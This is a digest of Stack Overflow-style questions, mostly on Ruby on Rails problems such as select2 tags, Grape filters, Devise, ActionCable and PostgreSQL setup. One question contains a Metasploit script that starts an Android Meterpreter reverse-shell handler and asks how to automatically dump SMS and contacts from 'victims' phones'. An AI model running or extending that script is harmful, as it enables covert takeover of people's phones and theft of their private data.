Monday, October 17, 2016

Rails select2 after create new tag i haven't id on create action | Fixed issues

Rails select2 after create new tag i haven't id on create action | Fixed issues


Rails select2 after create new tag i haven't id on create action

Posted: 17 Oct 2016 08:05 AM PDT

I use select2 and want to create new tags and then save them.

i have form for @cost and for select2 this

<%= f.collection_select :product_ids, Product.all,:id, :name ,{include_hidden: false},{ multiple: true} %>  

for creation new product i have this js code

$(document).ready(function () {  $('#cost_product_ids').select2({      tags: true,      tokenSeparators: [",", " "],      createProduct: function (product) {          return {              id: product.term,              text: product.term,              isNew: true          };      }  }).on("change", function (e) {      var isNew = $(this).find('[data-select2-tag="true"]');      if (isNew.length) {          $.ajax({              type: "POST",              url: "/product_new",              data: {product: isNew.val()}          });        }  });  

});

and controller method for save new product

  def product_new     product = Product.find_by(name:params[:product])     Product.create(name:params[:product]) if !product     render json: :ok    end  

cost create action

   def create      @cost = Cost.new(costs_params)      if @cost.save        flash[:notice] = t('added')        if params[:add_more].present?          redirect_back(fallback_location: root_path)        else          redirect_to @cost        end      else        render action: 'edit'      end    end       def costs_params      params.require(:cost).permit(:day, :amount, :description, :source,:tag_list,:product_ids=>[])    end  

it works ok, but when i want to save my @cost record with this newly created product i have received only name of my tag without id.

For example i have products water=>id:1,beer=>id:2,and create new juice tag in db it has id:3

on create in have params "product_ids"=>["1", "2", "juice"]

How to fix it?

Is it possible to make a button that prints many pages of a website?

Posted: 17 Oct 2016 07:37 AM PDT

I have to create a button that can prints many pages of the website I am working on.

I tried to add all the html of the pages I need to print to document. My idea is to print thanks to window.print(), but I have many bugs due to the javascript content (which uses dom) of each pages.

This is my current code :

  var homeInnerHTML = document.documentElement.innerHTML;    var htmlToPrint = "";    <% User.all.order(:name).each do |user| %>    <% Project.where(chief: user.id).order(:title).each do |project| %>    $.get("/sheet?id=<%= project.id %>", function(data) {      htmlToPrint += data;    });    <% end %>    <% end %>    function printAll() {      document.open();      document.write(htmlToPrint);      document.close();      window.print();        document.open();      document.write(homeInnerHTML);      document.close();    }  

I don't have any other ideas of what can I do, and if it exists a neat way with a good user experience to do it.

How can you manipulate the DB using Selenium and the Test Script during the same test

Posted: 17 Oct 2016 07:48 AM PDT

We have an RSpec test we want to run that uses selenium running with js: true. i.e. as you run the test it will literally launch firefox in front of you and go through the test itself.

Our test is policing a single page angular application and needs to do a combination of navigating around the app and then manipulating the database directly to see how the front end responds to it.

context "in my single page Angular application" do    context "given I go to a user's profile page" do      it "should contain the user's profile photo" do        visit profile_page_url        expect(page).to have_text(profile_photo_url)      end        context "and then I go to the homepage, remotely destroy the photo and return to the profile page" do        before :each do          visit homepage_url          profile_photo.destroy          visit profile_page_url        end          it "expects the profile photo to be gone" do          expect(page).not_to have_text(profile_photo_url)        end      end    end  end  

In the example above you can see that we go to a user's profile page, check that their photo is there then go to the homepage. Whilst we're on the homepage we destroy the user's profile photo (directly using the script rather than the interface) and then return to the original page to see whether it's gone. Or at least this is what we do in theory.

It looks like the two processes are in different threads / transactions

In practice everything hangs once we've deleted the photo. Reading up on this it seems like this might be due to the console and selenium running two different DB transactions in parallel in different processes (threads?). The console is waiting for Selenium to finish before it can execute its DB query.

So superficially it seems like we're stuck. Anecdotally it looks like we can't do direct DB maniupulation at the same time as Selenium is running as one transaction is waiting for the other to finish.

It is possible to do this if we put a binding.pry debugger statement in. But it doesn't work in the test suite.

Is it possible to manipulate the DB synchronously with a Selenium session

We need to be able to alter the DB directly via the console and Selenium during the same session. Is this possible?

How do I write this query in Rails without Arel [on hold]

Posted: 17 Oct 2016 07:29 AM PDT

I want to achieve this :

    where(          "(memberships.id IN (?) AND memberships.user_id == ?)           OR (memberships.user_id == ? AND communities.hidden == ?)",             m, user.id, nil, false)  

This is returning an error :

ActiveRecord::StatementInvalid:         Mysql2::Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '= 77 OR memberships.user_id == NULL AND communities.hidden == 0)' at line 1: SELECT DISTINCT `communities`.* FROM `communities` LEFT JOIN `memberships` ON `communities`.`id` = `memberships`.`community_id` AND `memberships`.`user_id` = 77 WHERE `communities`.`deleted_at` IS NULL AND (memberships.id IN (NULL) AND memberships.user_id == 77 OR memberships.user_id == NULL AND communities.hidden == 0)  

I don't want to use Arel

Profile time taken by Delayed Job

Posted: 17 Oct 2016 07:54 AM PDT

I have a huge number of jobs in multiple queues, and I'm wondering if it would be possible to profile the time taken by each job?

Strange Routing Behavior in Rails on Image Upload Using Carrierwave

Posted: 17 Oct 2016 07:32 AM PDT

I'm working on creating a new edit/update view and routes for a fairly large Rails (v4.0.3) app. I'm using remote: true to submit sections of the form without reloading the whole page, and then simply replacing the form HTML with the response HTML (which is the form partial). The URL (.../edit) should remain the same.

It works fine to update text fields, but when I upload an image (using Carrierwave) I get this strange behavior where the image uploads fine but then I get redirected to the controller action URL (.../update) and the browser displays the raw partial out of context.

Here's the relevant method from my resource controller:

 def update      respond_to do |format|        if @provider.update_attributes(admin_provider_params)          if params[:provider][:logo]            @provider.logo = params[:provider][:logo]            @provider.save          elsif params[:provider][:remove_logo] == '1'            @provider.remove_logo!            @provider.save          end            format.html { render partial: "provider_form", locals: { provider: @provider } }          format.json { render json: @provider }        else          format.html { render action: "edit" }          format.json { render json: @provider.errors, status: :unprocessable_entity }        end      end    end  

And here's some selected code from my view partial:

= simple_form_for [:admin, @provider],          remote: true,          html: { class: 'form-horizontal', multipart: true, id: 'provider-data-form' },          authenticity_token: true,          wrapper: :horizontal_form do |f|      -# (SOME OTHER FORM FIELDS HERE)      -# LOGO UPLOAD ELEMENTS    .form-group.file.optional.provider_logo      = f.input :logo, input_html: { id: "provider-logo-upload-real", class: "hidden"}, :as => :file, wrapper: false      %button#provider-logo-upload-btn= @provider.logo_url.nil? ? "Upload Logo" : "Replace Image"      %img#logo-upload-img{src: @provider.logo_url}      -# SUBMIT FORM    = f.button :submit, translate_helper(:save), id: "save-provider-form-btn"        :javascript    $(document).ready(function() {        // Handle logo upload via proxy button      $('#provider-logo-upload-btn').on("click", function(e) {        e.preventDefault ? e.preventDefault() : e.returnValue = false;        $('#provider-logo-upload-real').click();      });        // Preview logo before upload      $('#provider-logo-upload-real').change(function(e) {        $('#logo-upload-img').attr("src", URL.createObjectURL(event.target.files[0]));      });        // Handle Form submit      $('#provider-data-form')      .on("ajax:success", function(evt, data, status, xhr) {        console.log("AJAX Success!", arguments);        // On success, refresh just the provider form partial        $('#provider-data-form').replaceWith(xhr.responseText);      });    });  

I think this is all the relevant code, but I'm happy to provide more on request. There's not much additional logic tacked on the CarrierWave Uploader classes.

Finally, here are my server logs (edited slightly for brevity) when I submit the form with a new image for upload:

I, [2016-10-17T10:09:24.745387 #1219]  INFO -- : Started PATCH "/en/admin/providers/8" for 127.0.0.1 at 2016-10-17 10:09:24 -0400  I, [2016-10-17T10:09:24.754005 #1219]  INFO -- : Processing by Admin::ProvidersController#update as JS  I, [2016-10-17T10:09:24.754133 #1219]  INFO -- :   Parameters: application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01", "locale"=>"en", "id"=>"8"}  I, [2016-10-17T10:09:24.754187 #1219]  INFO -- :   Parameters: {    // LISTS PARAMETERS, INCLUDING IMAGE UPLOAD DATA  }  I, [2016-10-17T10:09:25.105809 #1219]  INFO -- :   Rendered admin/providers/_provider_form.html.haml (52.9ms)  I, [2016-10-17T10:09:25.106381 #1219]  INFO -- : Completed 200 OK in 352ms (Views: 43.8ms | ActiveRecord: 51.8ms)    // IF NO IMAGE WAS INCLUDED, NORMALLY IT STOPS AT THIS POINT, BUT...    I, [2016-10-17T10:09:25.111315 #1219]  INFO -- : Started PATCH "/en/admin/providers/8" for 127.0.0.1 at 2016-10-17 10:09:25 -0400  I, [2016-10-17T10:09:25.122752 #1219]  INFO -- : Processing by Admin::ProvidersController#update as HTML  I, [2016-10-17T10:09:25.122925 #1219]  INFO -- :   Parameters: {    // LISTS PARAMETERS, NO IMAGE UPLOAD DATA  }  I, [2016-10-17T10:09:25.268027 #1219]  INFO -- :   Rendered admin/providers/_provider_form.html.haml (43.9ms)  I, [2016-10-17T10:09:25.268360 #1219]  INFO -- : Completed 200 OK in 145ms (Views: 35.2ms | ActiveRecord: 39.5ms)    // PAGE DISPLAYS PARTIAL ONLY, URL IS FOR UPDATE ROUTE RATHER THAN EDIT  

Sorry for such a long question; I've been puzzled by this for over a week. I'd appreciate any help I can get!

cannot install latest Rails version on MacOS

Posted: 17 Oct 2016 07:10 AM PDT

I'm trying to install Rails 5 on my Mac (El Capitan).

When I type

gem install rails  

I get this error message:

ERROR:  Error installing rails:      activesupport requires Ruby version >= 2.2.2.  

When I check my Ruby version with Rbenv:

rbenv global  2.3.1  

however when I check my Ruby version like this:

ruby -v  

I get

ruby 2.2.0p0 (2014-12-25 revision 49005) [x86_64-darwin14]  

how can I fix this, so when I want to install rails 5, it's using Ruby 2.3.1

Thanks for your help,

Anthony

How to handle before filter for specific action in Grape?

Posted: 17 Oct 2016 07:58 AM PDT

I'm mounting Grape in my Rails project to build a RESTful API.

Now some end-points have actions need authentication and others which don't need authentication.

As for example I have users end-point which looks something like:

module Backend    module V1      class Users < Grape::API        include Backend::V1::Defaults          before { authenticate! }          resource :users do            desc "Return a user"          params do            requires :id, type: Integer, desc: 'User id'          end          get ':id' do            UsersService::Fetch.new(current_user,params).call          end            desc "Update a user"          params do            requires :id, type: Integer, desc: 'User id'            requires :display_name, type: String, desc: 'Display name'            requires :email, type: String, desc: 'Email'          end          post ':id' do            UsersService::Save.new(current_user,params).call          end            desc "Reset user password"          params do            requires :old_password, type: String, desc: 'old password'            requires :password, type: String, desc: 'new password'          end          post 'password/reset' do            PasswordService::Reset.new(current_user,params).call          end            desc "Forget password"          params do            requires :email, type: String          end          post 'password/forget' do            PasswordService::Forget.new(current_user,params).call          end                      end      end    end  end  

Now as you can see, all the actions except password/forget needs the user to be logged-in/authenticated. It doesn't make sense too to create a new end-point let's say passwords and just remove password/forget there as logically speaking, this end-point should be related to users resource.

The problem is with Grape before filter has no options like except, only in which I can say apply the filter for certain actions.

How do you usually handle such a case in a clean way?

Rails - How to avoid repeating same i18n attributes translations

Posted: 17 Oct 2016 07:53 AM PDT

I am building a Rails application using I18n translations.

I have two models (Blog and Event), sharing same attributes (title, content).
In my I18n yml files, how can I avoid repeating same keys for each attributes models and share them ?

Extract of my actual code:

fr:    activerecord:      attributes:        blog:          title: Titre          content: Contenu        event:          title: Titre          content: Contenu  

I also tried to set attributes as default, removing wrapped model key without any luck.

fr:     activerecord:        attributes:          title: Titre          content: Contenu  

Thanks for your help !

My project:

  • Rails 4.2.7.1
  • Ruby 2.3.0

Ruby-on-Rails renamed variables tests still see former names

Posted: 17 Oct 2016 07:52 AM PDT

In order to have friendlier names to my column, I ran the following migration :

class RenameDigestColumnsOnUserToEncryptedTokens < ActiveRecord::Migration[5.0]    def change      rename_column :users, :password_digest, :encrypted_password      rename_column :users, :activation_digest, :encrypted_activation_token      rename_column :users, :reset_digest, :encrypted_reset_password_token    end  end  

It worked well, the columns are effectively renamed in my database.

I renamed accordingly all the actions I could have with these names, which means I don't have anything remaining in my code with whether Password_digest, activation_digest or reset_digest.

The problem is when I run the tests, I still get the errors as if I hadn't renamed them in the project, e.g. this kind of errors :

.E    Error:  PasswordResetsTest#test_password_resets:  NoMethodError: undefined method `password_digest' for #<User:0x00563d149684d8>  Did you mean?  password      app/controllers/password_resets_controller.rb:29:in `update'      test/integration/password_resets_test.rb:42:in `block in <class:PasswordResetsTest>'      bin/rails test test/integration/password_resets_test.rb:10  

The code of the password_resets_controller's update action is what follows :

def update      if params[:user][:password].empty?        @user.errors.add(:password, "can't be empty")        render 'edit'      elsif @user.update_attributes(user_params)        log_in @user        # to prevent, on a public machine for example, people from pressing the back button and changing        # the password (and getting logged in to the site) whereas it's always been reset        @user.update_attribute(:encrypted_reset_password_token, nil)        flash[:success] = 'Password has been reset.'        redirect_to @user      else        render 'edit'      end    end  

And the related log_in method :

# Logs in the given user.    def log_in(user)      session[:user_id] = user.id    end  

I tried restarting spring and even rebooting the computer, I can't see where it comes from, how the computer can still see these names.

I am using the bcrypt gem to generate encrypted tokens, formerly named with digest, and this is those ones I tried to rename.

Has anyone ever had this problem ? Thanks in advance for your help.

Get distinct rows using inner join

Posted: 17 Oct 2016 08:01 AM PDT

I have this statement using Rails 3.2:

Event.joins(:picks).where(picks: {result: nil,created_at: 5.days.ago..Time.now,league_id: 1})  

It returns what I want but with many duplicate Events.

How can I get just the unique Events?

I tried adding .distinct to the end but it returns

#<Arel::Nodes::Distinct:0x007fc13e587800>  

Rails 5: stuck in Edit action, Update not working

Posted: 17 Oct 2016 07:11 AM PDT

I'm stuck with kind of simple thing where I've tried a lot of things which don't work. Here is what I have. In my app current_user needs to update roles for users, who belong to current_user companies. I can get to Edit action, where appropriate selects for particular user role is shown, however I cannot do Update action - it always stay in Edit action.

This is what I have in /models/role.rb:

class Role < ApplicationRecord  belongs_to :user, optional: true, inverse_of: :roles  accepts_nested_attributes_for :user    enum general: { seller: 1, buyer: 2, seller_buyer: 3}, _suffix: true  enum dashboard: { denied: 0, viewer: 1, editer: 2, creater: 3, deleter: 4}, _suffix: true  # other columns for roles follow #  

/models/user.rb looks like this:

#User has roles    has_many :roles    has_many :company_user_roles, through: :companies, source: :user_roles    accepts_nested_attributes_for :roles, reject_if: proc { |attributes| attributes[:name].blank? }    # User has many companies    has_many :accounts, dependent: :destroy    has_many :companies, through: :accounts  

In /controllers/common/roles_controller.rb I have this:

class Common::RolesController < ApplicationController    def edit  @role = Role.find(params[:id])  end    def update  @role = Role.find(params[:id])  if @role.update_attributes(role_params)    flash[:success] = "Role updated!"    redirect_to dashboard_path  else    render 'edit'  end    private    def role_params #at the end ID of user to whom belongs role is stored    params.require(:role).permit(:general, :dashboard, //..other role table columns..// , :user_id)  end  

In /views/common/roles/edit.html.erb I have this:

<%= form_for ([:common, @role]) do |f| %>    <%= f.select :general, Role.generals.map { |key, value| [key.humanize, key] } %>    <%= f.select :dashboard, Role.dashboards.map { |key, value| [key.humanize, key] } %>    <%= f.submit "Save changes" %>  <% end %>  

When I open /common/roles/1/edit I see this:

Started GET "/common/roles/1/edit" for 194.8.16.19 at 2016-10-17 13:08:17 +0000  Processing by Common::RolesController#edit as HTML  Parameters: {"id"=>"1"}  User Load (0.2ms)  SELECT  "users".* FROM "users" WHERE "users"."id" = ? LIMIT ?  [["id", 1], ["LIMIT", 1]]  Role Load (0.5ms)  SELECT  "roles".* FROM "roles" WHERE "roles"."id" = ? LIMIT ?  [["id", 1], ["LIMIT", 1]]  

When I press on "Save changes" button, I see this:

Started GET "/common/roles/1/edit?utf8=%E2%9C%93&_method=patch&authenticity_token=QoCCvXkM2%2B77ZyO0npTBKv1PKTQdkFjkLLbIgmdSXN8uli1ElLBfwHD6GXVTA%2Fa65cQPVPCqJNSkF0d8l5SSgw%3D%3D&general=seller_buyer&dashboard=editer&rights=editer&commit=Save+changes" for 194.8.16.19 at 2016-10-17 13:10:54 +0000  Processing by Common::RolesController#edit as HTML  Parameters: {"utf8"=>"✓", "authenticity_token"=>"QoCCvXkM2+77ZyO0npTBKv1PKTQdkFjkLLbIgmdSXN8uli1ElLBfwHD6GXVTA/a65cQPVPCqJNSkF0d8l5SSgw==", "general"=>"seller_buyer", "dashboard"=>"editer", "rights"=>"editer", "commit"=>"Save changes", "id"=>"1"}  User Load (0.5ms)  SELECT  "users".* FROM "users" WHERE "users"."id" = ? LIMIT ?  [["id", 1], ["LIMIT", 1]]  Role Load (0.4ms)  SELECT  "roles".* FROM "roles" WHERE "roles"."id" = ? LIMIT ?  [["id", 1], ["LIMIT", 1]]  

or like this:

--- !ruby/object:ActionController::Parameters  parameters: !ruby/hash:ActiveSupport::HashWithIndifferentAccess    utf8: "✓"    _method: patch    authenticity_token: QoCCvXkM2+77ZyO0npTBKv1PKTQdkFjkLLbIgmdSXN8uli1ElLBfwHD6GXVTA/a65cQPVPCqJNSkF0d8l5SSgw==    general: seller_buyer    dashboard: editer    rights: editer    commit: Save changes    controller: common/roles    action: edit    id: '1'  permitted: false  

Looks like it is not passing "role"=> {... and after token it shows params which I try to update. As I understand this could be, why Update is not happening.

role routes.rb look like this:

 namespace :common do     resources :companies     resources :roles   end  

Index and Edit action for roles work, all actions, including Update, work for companies.

I'm a bit desperate regarding this error, as I have tried a lot of things, however nothing works. How can I fix this to make Update action work, please? Thank you for any hint where potential error could be.

Update I can update roles manually in console with no problem - find role by ID and update any column. Still no luck in form - stays in Edit action after f.submit.

ActionCable Passenger process restarts the socket

Posted: 17 Oct 2016 06:16 AM PDT

I am creating an app in Rails 5.0.0.1 with actioncable. Local is running fine with subscribing and broadcasting etc.

I deployed rails app using this link: https://gorails.com/deploy/ubuntu/14.04. On deployment of actioncable I am using Passenger and the passenger setting explained in: https://www.phusionpassenger.com/library/config/nginx/action_cable_integration/

Now the user subscribes successfully and then the socket closes itself and again opens. The problem comes is:

Process (pid=19895, group=the_grid_api_websocket) no longer exists! Detaching it from the pool.  Checking whether to disconnect long-running connections for process 19895, application the_grid_api_websocket  

Find attribute in rails controller

Posted: 17 Oct 2016 06:19 AM PDT

I'm a bit of a Ruby on Rails newbie, I am trying to find the last record for a specific column in the database. This system accepts Bitcoins and generates and saves a Bitcoin address and later an amount is also saved.

I created the following migration:

  def change     create_table :payments do |t|      t.string :bitcoin      t.string :amount        t.timestamps     end    end  

in the controller I have:

class PaymentsController < ApplicationController       def new_address        @balance = BlockIo.get_new_address     end  end  

I want to get the last saved Bitcoin address. I have tried:

payment = Payment.find(params[:id])  last_payment = payment.bitcoin.last  

I also tried:

payment = Payment.find(params[:id])  last_payment = payment.pluck(:bitcoin).last  

And a few other combinations as I checked through Active Record documentation. Please assist me with the correct syntax to get the last saved bitcoin address.

In the show view, you can access the data via:

Please advise how to check last saved bitcoin address based on the above information. Any assistance will be greatly appreciated.

What is the mechanism behind the Devise randomisation of encrypted passwords?

Posted: 17 Oct 2016 06:12 AM PDT

I was initially worried that the dependency of the salt on the cleartext password itself in, might lead to the same encrypted password being generated (in the same site, or worse - across sites). But I tested on a rails app that creating different accounts with the same password generates a different encrypted_password each time.

I could only get as far as the digest method to guess that the klass.pepper aspect is introducing the randomness. But if config.pepper is only gathered once with rake random during the installation of the library, how is the randomisation per account being achieved?

Is it a good practice to send base64 image over params in Rails?

Posted: 17 Oct 2016 07:06 AM PDT

I have one form_for for saving NewsItems (something like posts). Each news item should have one cover image, title, short text... The image should appear as a preview before the form is filled and there should be some loader that shows the progress of the image being uploaded. For the preview and the progress bar I use Jquery file uploader.

I tryed to use nested forms but jquery file uploader submits the whole form when the image is loaded and the text fields are stil empty. When I press submit it will submit the form but this time without the image.

I added an extra column in news item table with the name image. Also added hidden filed :image and validation that it must be present. Now when the jquery file upload is done it add's the image in the image tag and it add the base64 code of the image in the hidden field with name :image.

The problem looks like it's solved but in the terminal I see a big base64 code and it's looks like there is a better way to do it.

Please, do you know how to disable the automatic submiting with jquery file upload or how to have the upload progress and the preview image without the base64 code in the params?

Thank you in advance!

ruby on rails - Enviroment Variable

Posted: 17 Oct 2016 05:32 AM PDT

Enviroment variable

After installing rails in windows when i run command in cmd it gets an error that

the system cannot find the path specified

and second when i run command in cmd it gets an error that

ERROR: could not find a valid gem 'railties' <= 4.2.3> here is why:

unable to download data from https://rubygems.org/ - SSL_connect returned=1 errorno=0 state=SSLv3 read server certificate B: certificate verify failed https://api.rubygems.org/specs.4.8.gz

please help me out please

Rails widget not prompting users to login with Devise

Posted: 17 Oct 2016 05:37 AM PDT

My product: I built a website using rails with Devise authentication and a booksmarks scaffold. The users are prompted to log in whenever viewing any pages with before_action :authenticate_user!. I have enabled Rack-CORS in my initializers to whitelist all websites.

Problem: Whenever I start the widget on my 3rd party website...it does not ask the user to login OR register.

Question:

See UPDATE 1

Is there a specific function I should set in my javascript or files that will prompt the users to log in first before showing them a specific page (right now it'll render any page without requiring user to login first)? I realize that JSON is required to get and put data to my servers, but before that I should at least SEE the login page...right?

Codes: I'm rendering a page by

user_booksmarks.js.erb (this is loaded by <script type="text/javascript" src="http://rails5-199667.nitrousapp.com/widget/user_bookmarks.js"></script> on the users website in their index.html folder)

document.write( '<%= render 'booksmarks/show'%>');  

routes.rb

Rails.application.routes.draw do    resources :booksmarks    devise_for :users    # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html    root :to => "static#index"     # map.connect '/widget/:action/:api_key', :controller => 'widget', :api_key => /.*/    get '/widget/user_bookmarks.js' => 'widget#user_bookmarks'    end  

UPDATE 1: I tried testing out some methods to see if the website even detects if the user is logged in or not with <% if user_signed_in? %> <h1> This User Is logged In! </h1> <% end %> and it indeed works properly! So, the widget is detecting if the user is logged in or not! I just now need to figure out how to show the login page to the users to log into...

MySQL select if all distant children meet condition

Posted: 17 Oct 2016 05:40 AM PDT

Reduced database schema

I have a question regarding a (at least for me) complicated SQL statement to make. Given an interface I want to find all access_lists, which can be used on that interface. I'm creating a Ruby on Rails application and the working Ruby code for that task is as follows (should be pretty self-explanatory):

class Interface < ActiveRecord::Base      def valid_access_lists      # find all valid networks (.ip() converts object into manageable IP object)      valid_networks = self.routes.map { |route| route.network.ip() }      return AccessList.includes(access_list_elements: [{ rule: [:ip_from] }]).all().select do |acl|        # all rule.ip_froms are in valid networks?        acl.access_list_elements.all? do |acle|          # current rule.ip_from is in any of the valid networks?          valid_networks.any? { |network| network.include?(acle.rule.ip_from.ip()) }        end      end    end    end  

The problem with that is, that it is (as expected) super slow (and yes, N+1 queries are prevented by the includes). My approach to resolve this issue is to write an SQL statement that does everything that valid_access_lists does at once.

The following statement gives all the valid_networks as ((network_addr1, broadcast_addr1), (network_addr2, broadcast_addr2), ...). One problem here: It only accounts for IPv4 addresses (as can be seen in the 2nd line when the broadcast address is calculated using the logical OR). If a record in ips is IPv4, the ips.ip_high IS NULL, otherwise, both columns are NOT NULL. IPv6 addresses are built by performing (ip_high << 64) + ip_low. The idea of calculating both, network and broadcast addresses, is to check the ips of the rules with the BETWEEN operator.

SELECT coalesce(nw_ips.`ip_high` << 64, 0) + nw_ips.`ip_low` AS nw_addr,  (coalesce(nw_ips.`ip_high` << 64, 0) + nw_ips.`ip_low`) | ((1 << (32 - nw_ips.`prefix`)) - 1) AS bc_addr FROM `ips` nw_ips  LEFT JOIN `routes` ON nw_ips.`id` = `routes`.`ip_network_id`  LEFT JOIN `interfaces` ON `routes`.`interface_id` = `interfaces`.`id`  WHERE `interfaces`.`id` = 1  

This statement joins tables to enable checking of rules based on access_lists

SELECT `access_lists`.* FROM `access_lists`  LEFT JOIN `access_list_elements` ON `access_lists`.`id` = `access_list_elements`.`access_list_id`  LEFT JOIN `rules` ON `access_list_elements`.`rule_id` = `rules`.`id`  LEFT JOIN `ips` ON `rules`.`ip_from_id` = `ips`.`id`  WHERE ...  

The main problem here is, that I need to group the rules (and their respective ips) per access_list in order to check if all rules in an access_list are included in at least one valid_network and that's where I'm stuck.

datetimekeeper disapper in view

Posted: 17 Oct 2016 06:12 AM PDT

I am using Bootstrap Datetimepicker for setting start_at and end_at time in my Rails app.

If you set end_at future time, ofcourse you can set and edit.

but if you edit the event you set before and already expired because of end_at ,the time disapper in view.

in my DB, ofcourse I can have correct end_at time ,but not view.

How can i put correct time(past time)in my view ?

   $('#tickets .datetimepicker3').datetimepicker({                  format: 'YYYY/MM/DD HH:mm',                  showClose:true,                                      useCurrent:false,                  minDate: d,                  maxDate: y,                  stepping: 15,                  // sideBySide:true      });    $("#tickets .datetimepicker3").on("dp.change", function (e) {  .datetimepicker2').data("DateTimePicker").maxDate(e.date);                      });      

How can I OAuth 2.0 authorise a Google API service with google-api-ruby-client 0.9?

Posted: 17 Oct 2016 05:00 AM PDT

With my OAuth 2.0 client ID of type Web Application I've retrieved an access token, which I've stored in a Token object. Now I'd like to exchange that access token for access to Gmail API methods.

The service is instantiated:

gmail = Google::Apis::GmailV1::GmailService.new  

Now I want to test getting labels:

@labels = gmail.list_user_labels('me')  

This needs authorisation first.

In Google API Ruby Client 0.9 "the authentication and authorization code was moved to the new googleauth library."

Googleauth, however, appears to depend on loading in the client_secrets.json file, but this doesn't seem appropriate for a production environment.

Is there a way around this without having to downgrade to Google API Ruby Client 0.8 or 0.7.1?

How can I call any functions in postgres with rails [on hold]

Posted: 17 Oct 2016 05:26 AM PDT

How to use any function in postgis database.(http://postgis.net/docs/manual-dev/PostGIS_Special_Functions_Index.html#PostGIS_GeographyFunctions) I need some example use function. I don't understand where I can call it. model?.but I already set up environment with (https://github.com/rgeo/activerecord-postgis-adapter)

How to get the nested attribute's user_id for notification?

Posted: 17 Oct 2016 07:35 AM PDT

How can I send a notification with the dueler's name who created the duel?

enter image description here

Right now both dueler's get a notification, but with their own name listed in the notification as notification.dueler.user.name

model

class Dueler < ActiveRecord::Base    belongs_to :user    belongs_to :challenge    belongs_to :duel    after_save :create_notification    has_many :notifications    private    def create_notification      notifications.create(        duel:    duel,        user:    user, # I'm not sure if or how to rewrite this line so that the notification shows the user's name  who created the duel.              read:    false      )    end  end  

notification

<%= link_to notification.dueler.user.name, user_path(notification.dueler.user_id) %> challenged you to a <%= link_to "duel", notification_duel_request_path(notification, notification.duel_id) %>  

rails c

Notification.find(223)   id: 223,   user_id: 2, # This is who created the duel   duel_id: 112,   dueler_id: 181>  Notification.last   id: 224,   user_id: 114,   duel_id: 112,   dueler_id: 182>  Duel.last   id: 112,  Dueler.find(181)   id: 181,   user_id: 2,   challenge_id: 302,   duel_id: 112,  Dueler.last   id: 182,   user_id: 114,   challenge_id: 410,   duel_id: 112,  

Sqlite to Postgres - existing Rails project

Posted: 17 Oct 2016 05:48 AM PDT

I'm new to Rails.

I already have a project ready to be deployed.

I'm using Sqlite3 but I want to switch to Postgres.

I follow many tutorials but nothing works, so I need your help.

When I follow instructions from Railscast, it doesn't work : [http://railscasts.com/episodes/342-migrating-to-postgresql?view=asciicast][1]

When I run :

rake db:migrate  

it return :

rake aborted! ActiveRecord::NoDatabaseError: FATAL:  database "development" does not exis  

When I run.. :

$ taps server sqlite://db/development.sqlite3 User password  

..with the User I set up in database.yml,

I set "SECRET_KEY_BASE=mypassword" into .env.development fil.

Here is my database.yml :

development:    adapter: postgresql    encoding: utf8    database: development    pool: 5    username: FC    password:     test: &TEST    adapter: postgresql    encoding: utf8    database: test    pool: 5    username: FC    password:   

it return :

/Users/fc/.rvm/rubies/ruby-2.3.0/lib/ruby/site_ruby/2.3.0/rubygems/core_ext/kernel_require.rb:133:in `require': cannot load such file -- rack/showexceptions (LoadError)      from /Users/fc/.rvm/rubies/ruby-2.3.0/lib/ruby/site_ruby/2.3.0/rubygems/core_ext/kernel_require.rb:133:in `rescue in require'      from /Users/fc/.rvm/rubies/ruby-2.3.0/lib/ruby/site_ruby/2.3.0/rubygems/core_ext/kernel_require.rb:40:in `require'      from /Users/fc/.rvm/gems/ruby-2.3.0/gems/sinatra-1.0/lib/sinatra/showexceptions.rb:1:in `<top (required)>'  

PG version :

psql (PostgreSQL) 9.4.4  

which psql :

/usr/local/bin/psql  

I'm lost at this point because nothing works.

How can I do the migration easily, step by step ?

Code review - Set ENV variables properly [migrated]

Posted: 17 Oct 2016 04:58 AM PDT

I'd like some feedback, if possible.

I 've followed the steps from this video from railscasts for setting ENV variables. This is my configuration

# config/database.yml  default: &default    adapter: mysql2    encoding: utf8    pool: 5    username: <%= ENV['DATABASE_USERNAME'] %>    password: <%= ENV['DATABASE_PASSWORD'] %>    socket: /var/run/mysqld/mysqld.sock    development:    <<: *default  database: <%= ENV['DATABASE_NAME'] %>  test:    <<: *default  database: <%= ENV['DATABASE_NAME'] %>  production:    <<: *default    database: <%= ENV['DATABASE_NAME'] %>    username: <%= ENV['DATABASE_USERNAME'] %>  password: <%= ENV['DATABASE_PASSWORD'] %>    # config/application.rb  config = YAML.load(File.read(File.expand_path('../application.yml', __FILE__)))  config.merge! config.fetch(Rails.env, {})  config.each do |key, value|      ENV[key] = value.to_s unless value.kind_of? Hash  end    # config/application.yml  development:      DATABASE_USERNAME: "username goes here"    DATABASE_PASSWORD: "password goes here"    DATABASE_NAME: "database name goes here"      SECRET_KEY_BASE: "secret key goes here"    test:      DATABASE_USERNAME: "username goes here"    DATABASE_PASSWORD: "password goes here"    DATABASE_NAME: "database name goes here"      SECRET_KEY_BASE: "secret key goes here"    production:      DATABASE_USERNAME: "username goes here"    DATABASE_PASSWORD: "password goes here"    DATABASE_NAME: "database name goes here"      SECRET_KEY_BASE: "secret key goes here"  

Does this configuration follows best practices, or need to do some changes? what do you reckon?

Automated Ruby Script IN Msfconsole

Posted: 17 Oct 2016 04:38 AM PDT

I have a problem about automated script. i wrote a script by ruby to make a connection for android victims phones.it is listening until I quit it. when the victim is connected , i want the msfconsole to do some commands automatically when a victim connected. I mean msfconsole commands that is usually typed by me. for example : dump_sms , dump_contact ,... what do i use for this ?

<ruby>    # msfconsole commands  self.run_single("use exploit/multi/handler")  self.run_single("set payload android/meterpreter/reverse_tcp")   self.run_single("set Lhost x.x.x.x")  self.run_single("set lport xxxx")  self.run_single("exitonsession false")   self.run_single("exploit -j -z")  </ruby>  

Activerecord audit gem that writes to elasticsearch

Posted: 17 Oct 2016 04:34 AM PDT

We want to audit some changes to our Activerecord models, and I am looking for gem that can helps us with that.

I found https://github.com/collectiveidea/audited, but as far as I understand, it logs to the main program database (in our case MySql)

I want the same functionality, but writing logs to elasticsearch instead. Is it possible?

Many Tables/models belong to one main model in Ruby on Rails

Posted: 17 Oct 2016 04:07 AM PDT

I am building an app where there is a simple model with only title and description and and that model has different forms that a user can fill and will be displayed under that same title and description in tabular form

